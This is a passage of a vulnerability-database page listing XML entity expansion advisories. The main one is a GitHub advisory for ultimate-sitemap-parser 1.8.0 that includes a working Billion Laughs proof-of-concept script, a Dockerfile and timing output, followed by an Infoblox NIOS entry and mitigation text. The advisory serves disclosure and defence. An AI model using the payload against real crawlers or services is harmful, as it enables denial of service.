  "details": "## XML Entity Expansion (Billion Laughs) DoS in XMLSitemapParser\n\n### Summary\n\n`ultimate-sitemap-parser` version 1.8.0 and earlier parse attacker-controlled XML content using Python\u0027s `xml.parsers.expat` without any restriction on DTD declarations or recursive entity references. An attacker who can serve a malicious sitemap can trigger exponential XML entity expansion (the \"Billion Laughs\" attack), causing unbounded CPU and memory consumption in the victim process. No authentication, user interaction, or special configuration is required \u2014 the vulnerability is exploitable by default through any public-facing use of `sitemap_tree_for_homepage()` or `sitemap_from_str()`.\n\n### Details\n\nThe vulnerable code path begins at the public API entry points and flows to the Expat XML parser without any sanitization:\n\n1. **`usp/tree.py:42`** \u2014 `sitemap_tree_for_homepage(homepage_url)` is the primary public entry point.\n2. **`usp/tree.py:133`** \u2014 `sitemap_from_str(content)` is the secondary public entry point (also directly reachable from user code).\n3. **`usp/fetch_parse.py:141-145`** \u2014 `SitemapFetcher._fetch()` retrieves the remote URL content.\n4. **`usp/fetch_parse.py:175`** \u2014 The raw response becomes `response_content` (taint propagation point).\n5. **`usp/fetch_parse.py:441-450`** \u2014 `XMLSitemapParser.sitemap()` creates an Expat parser and feeds the attacker-controlled content directly to it:\n\n```python\n# usp/fetch_parse.py:441-450  \u2014 VULNERABLE SINK\nparser = xml.parsers.expat.ParserCreate(\n    namespace_separator=self.__XML_NAMESPACE_SEPARATOR\n)\n# ... handler assignments ...\nparser.Parse(self._content, is_final)   # \u003c-- no DTD/entity restriction\n```\n\nA full audit of the `usp/` directory confirms that none of the following hardening measures are present:\n- `defusedxml` usage\n- DOCTYPE rejection\n- `SetParamEntityParsing`\n- `UseForeignDTD`\n- `ExternalEntityRefHandler`\n\nWhen a Billion Laughs payload is parsed, each nested entity reference is expanded recursively, multiplying the in-memory string by a factor of 10 per nesting level. At level 6 (10\u2076 expansions), processing time exceeds 20 seconds, effectively hanging the calling process.\n\n### PoC\n\n**Environment setup:**\n\n```bash\n# Option A: install from PyPI\npython -m venv /tmp/usp-poc\n. /tmp/usp-poc/bin/activate\npip install ultimate-sitemap-parser==1.8.0\n```\n\n```bash\n# Option B: Docker (using the provided Dockerfile)\ndocker build -t vuln-001-usp -f vuln-001/Dockerfile .\ndocker run --rm vuln-001-usp\n```\n\n**Attack payload and execution:**\n\n```python\nfrom usp.tree import sitemap_from_str\nimport time, signal\n\nTIMEOUT = 20\n\nclass TimedOut(Exception): pass\ndef handler(s, f): raise TimedOut()\n\ndef build_payload(level):\n    lines = [\u0027\u003c?xml version=\"1.0\"?\u003e\u0027, \u0027\u003c!DOCTYPE x [\u0027]\n    lines.append(\u0027 \u003c!ENTITY lol \"lol\"\u003e\u0027)\n    for i in range(1, level + 1):\n        prev = \"lol\" if i == 1 else f\"lol{i-1}\"\n        expansion = \"\".join(f\"\u0026{prev};\" for _ in range(10))\n        lines.append(f\u0027 \u003c!ENTITY lol{i} \"{expansion}\"\u003e\u0027)\n    lines.append(\u0027]\u003e\u0027)\n    lines.append(\u0027\u003curlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\"\u003e\u0027)\n    lines.append(f\u0027  \u003curl\u003e\u003cloc\u003ehttp://example.com/\u0026lol{level};\u003c/loc\u003e\u003c/url\u003e\u0027)\n    lines.append(\u0027\u003c/urlset\u003e\u0027)\n    return \"\\n\".join(lines)\n\nfor level in [3, 4, 5, 6]:\n    signal.signal(signal.SIGALRM, handler)\n    signal.alarm(TIMEOUT)\n    t = time.perf_counter()\n    try:\n        result = sitemap_from_str(build_payload(level))\n        elapsed = time.perf_counter() - t\n        signal.alarm(0)\n        pages = list(result.all_pages())\n        url_len = len(pages[0].url) if pages else 0\n        print(f\"Level {level}: {elapsed:.4f}s  url_len={url_len:,}\")\n    except TimedOut:\n        elapsed = time.perf_counter() - t\n        signal.alarm(0)\n        print(f\"Level {level}: TIMEOUT after {elapsed:.1f}s -- DoS confirmed\")\n```\n\n**Expected output (observed during dynamic reproduction):**\n\n```\nLevel 3 (10^3):   0.0054s   url_len=3,019\nLevel 4 (10^4):   0.0321s   url_len=30,019\nLevel 5 (10^5):   5.2845s   url_len=300,019\nLevel 6 (10^6):  TIMEOUT after 20.0011s  -- DoS confirmed\n```\n\nProcessing time grows exponentially: level 5 is ~165\u00d7 slower than level 4, and level 6 exceeds the 20-second watchdog. This conclusively demonstrates unbounded resource consumption.\n\n### Impact\n\nThis is a **Denial-of-Service (DoS)** vulnerability via XML Entity Expansion (the \"Billion Laughs\" / CWE-776 pattern). Any application or service that uses `ultimate-sitemap-parser` to crawl external or user-supplied URLs is impacted.\n\n**Who is affected:**\n- **Web crawlers and indexers** that call `sitemap_tree_for_homepage()` against arbitrary URLs \u2014 a single malicious sitemap server can lock up the crawler process.\n- **CI/CD pipelines and monitoring tools** that periodically parse sitemaps as part of automated workflows.\n- **Any application** that passes unvalidated user input to `sitemap_from_str()`.\n\nBecause no authentication, elevated privilege, or prior relationship is required (CVSS PR:N, UI:N), the attack surface is broad. An attacker only needs to operate a web server that returns a malicious sitemap when visited.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\nLABEL description=\"VULN-001: XML Entity Expansion (Billion Laughs) DoS PoC\" \\\n      target=\"GateNLP/ultimate-sitemap-parser \u003c= 1.8.0\" \\\n      cwe=\"CWE-776\"\n\nWORKDIR /app\n\n# Copy the cloned repository first\nCOPY repo/ /app/repo/\n\n# Install uv_build (required build backend) then install the vulnerable package from the local clone\nRUN pip install --no-cache-dir \"uv_build\u003e=0.9.6,\u003c0.10.0\" \u0026\u0026 \\\n    pip install --no-cache-dir /app/repo/\n\n# Copy the PoC script\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"-u\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: XML Entity Expansion (Billion Laughs) DoS\nAffected: GateNLP/ultimate-sitemap-parser \u003c= 1.8.0\nCWE-776: Improper Restriction of Recursive Entity References in DTDs\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5 High)\n\nSink: usp/fetch_parse.py:450\n  parser = xml.parsers.expat.ParserCreate(namespace_separator=...)\n  parser.Parse(self._content, is_final)   \u003c- no DTD/entity restriction\n\nEntry: usp.tree.sitemap_from_str(content: str) -\u003e AbstractSitemap\n\"\"\"\n\nimport signal\nimport sys\nimport time\n\nfrom usp.tree import sitemap_from_str\n\nTIMEOUT_SECONDS = 20\nDOS_THRESHOLD_SECONDS = 2.0  # level 5 must exceed this to PASS\n\n\nclass TimedOut(Exception):\n    pass\n\n\ndef _alarm_handler(signum, frame):\n    raise TimedOut(\"SIGALRM fired\")\n\n\ndef build_billion_laughs_payload(level: int) -\u003e str:\n    \"\"\"Build a Billion Laughs XML payload nested to `level` depth.\n\n    Each level multiplies expansion by 10:\n      level 3 -\u003e 10^3   = 1,000 chars\n      level 4 -\u003e 10^4   = 10,000 chars\n      level 5 -\u003e 10^5   = 100,000 chars\n      level 6 -\u003e 10^6   = 1,000,000 chars\n    \"\"\"\n    lines = [\u0027\u003c?xml version=\"1.0\"?\u003e\u0027, \"\u003c!DOCTYPE x [\"]\n    lines.append(\u0027 \u003c!ENTITY lol \"lol\"\u003e\u0027)\n    for i in range(1, level + 1):\n        prev = \"lol\" if i == 1 else f\"lol{i - 1}\"\n        expansion = \"\".join(f\"\u0026{prev};\" for _ in range(10))\n        lines.append(f\u0027 \u003c!ENTITY lol{i} \"{expansion}\"\u003e\u0027)\n    lines.append(\"]\u003e\")\n    lines.append(\u0027\u003curlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\"\u003e\u0027)\n    lines.append(f\"  \u003curl\u003e\u003cloc\u003ehttp://example.com/\u0026lol{level};\u003c/loc\u003e\u003c/url\u003e\")\n    lines.append(\"\u003c/urlset\u003e\")\n    return \"\\n\".join(lines)\n\n\ndef parse_with_timeout(payload: str):\n    \"\"\"Parse payload under SIGALRM watchdog; return (elapsed, url_len, timed_out).\"\"\"\n    signal.signal(signal.SIGALRM, _alarm_handler)\n    signal.alarm(TIMEOUT_SECONDS)\n    start = time.perf_counter()\n    timed_out = False\n    url_len = 0\n    try:\n        result = sitemap_from_str(payload)\n        elapsed = time.perf_counter() - start\n        signal.alarm(0)\n        pages = list(result.all_pages())\n        if pages:\n            url_len = len(pages[0].url)\n    except TimedOut:\n        elapsed = time.perf_counter() - start\n        timed_out = True\n        signal.alarm(0)\n    except Exception as exc:\n        elapsed = time.perf_counter() - start\n        signal.alarm(0)\n        print(f\"    [EXCEPTION] {type(exc).__name__}: {exc}\", flush=True)\n    return elapsed, url_len, timed_out\n\n\ndef main() -\u003e int:\n    print(\"=\" * 64)\n    print(\"VULN-001  XML Entity Expansion DoS  (Billion Laughs)\")\n    print(\"Target : GateNLP/ultimate-sitemap-parser \u003c= 1.8.0\")\n    print(\"Sink   : usp/fetch_parse.py:450  parser.Parse(_content)\")\n    print(f\"Timeout: {TIMEOUT_SECONDS}s per level\")\n    print(\"=\" * 64)\n\n    results = {}\n    for level in [3, 4, 5, 6]:\n        theoretical = 10**level\n        payload = build_billion_laughs_payload(level)\n        print(\n            f\"\\n[*] Level {level}: 10^{level} = {theoretical:\u003e10,} chars  \"\n            f\"payload_bytes={len(payload)}\",\n            flush=True,\n        )\n        elapsed, url_len, timed_out = parse_with_timeout(payload)\n        results[level] = (elapsed, url_len, timed_out)\n\n        if timed_out:\n            print(\n                f\"[!] Level {level}: TIMED OUT after {elapsed:.1f}s  \"\n                f\"(\u003e{TIMEOUT_SECONDS}s)  -- DoS confirmed\",\n                flush=True,\n            )\n        else:\n            print(\n                f\"[+] Level {level}: completed in {elapsed:.4f}s  \"\n                f\"url_len={url_len:,}\",\n                flush=True,\n            )\n\n    print(\"\\n\" + \"=\" * 64)\n    print(\"TIMING SUMMARY\")\n    print(\"=\" * 64)\n    for lvl, (elapsed, url_len, timed_out) in results.items():\n        status = f\"TIMEOUT \u003e{TIMEOUT_SECONDS}s\" if timed_out else f\"{elapsed:.4f}s\"\n        print(f\"  Level {lvl} (10^{lvl:\u003e1}): {status:\u003e20}   url_len={url_len:,}\")\n\n    print()\n\n    # Verdict: level 5 must take \u003e2s or level 6 must time out\n    lvl5_elapsed, _, lvl5_timed_out = results.get(5, (0, 0, False))\n    lvl6_elapsed, _, lvl6_timed_out = results.get(6, (0, 0, False))\n\n    slow_evidence = lvl5_elapsed \u003e DOS_THRESHOLD_SECONDS or lvl5_timed_out\n    timeout_evidence = lvl6_timed_out or lvl6_elapsed \u003e DOS_THRESHOLD_SECONDS\n\n    if slow_evidence or timeout_evidence:\n        print(\"[PASS] DoS CONFIRMED: exponential CPU exhaustion via XML entity expansion\")\n        print(\n            f\"       level-5 time={lvl5_elapsed:.4f}s  level-6 \"\n            + (\"TIMEOUT\" if lvl6_timed_out else f\"time={lvl6_elapsed:.4f}s\")\n        )\n        print(\"[PASS] CWE-776 Billion Laughs confirmed in ultimate-sitemap-parser \u003c= 1.8.0\")\n        return 0\n    else:\n        print(\"[FAIL] Timing did not show significant slowdown -- DoS not confirmed\")\n        print(f\"       level-5={lvl5_elapsed:.4f}s  level-6={lvl6_elapsed:.4f}s\")\n        print(\"       (expected level-5 \u003e 2s or level-6 to time out)\")\n        return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```",
  "id": "GHSA-p5wc-9w9r-m232",
  "modified": "2026-06-19T21:15:36Z",
  "published": "2026-06-19T21:15:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/GateNLP/ultimate-sitemap-parser/security/advisories/GHSA-p5wc-9w9r-m232"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/GateNLP/ultimate-sitemap-parser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ultimate Sitemap Parser (USP): XML Entity Expansion (Billion Laughs) DoS in XMLSitemapParser"
}

GHSA-P9HM-FGJ4-CW8W

Vulnerability from github – Published: 2022-05-24 19:06 – Updated: 2022-05-24 19:06
VLAI
Details

Infoblox NIOS before 8.5.2 allows entity expansion during an XML upload operation, a related issue to CVE-2003-1564.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-15303"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-28T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Infoblox NIOS before 8.5.2 allows entity expansion during an XML upload operation, a related issue to CVE-2003-1564.",
  "id": "GHSA-p9hm-fgj4-cw8w",
  "modified": "2022-05-24T19:06:27Z",
  "published": "2022-05-24T19:06:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15303"
    },
    {
      "type": "WEB",
      "url": "https://community.infoblox.com/t5/Security/NIOS-XML-Vulnerability/m-p/22437#M1995"
    },
    {
      "type": "WEB",
      "url": "https://www.infoblox.com/products/nios8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}
Mitigation
Operation

If possible, prohibit the use of DTDs or use an XML parser that limits the expansion of recursive DTD entities.

Mitigation
Implementation

Before parsing XML files with associated DTDs, scan for recursive entity declarations and do not continue parsing potentially explosive content.

CAPEC-197: Exponential Data Expansion

An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.

← Back to the CWE list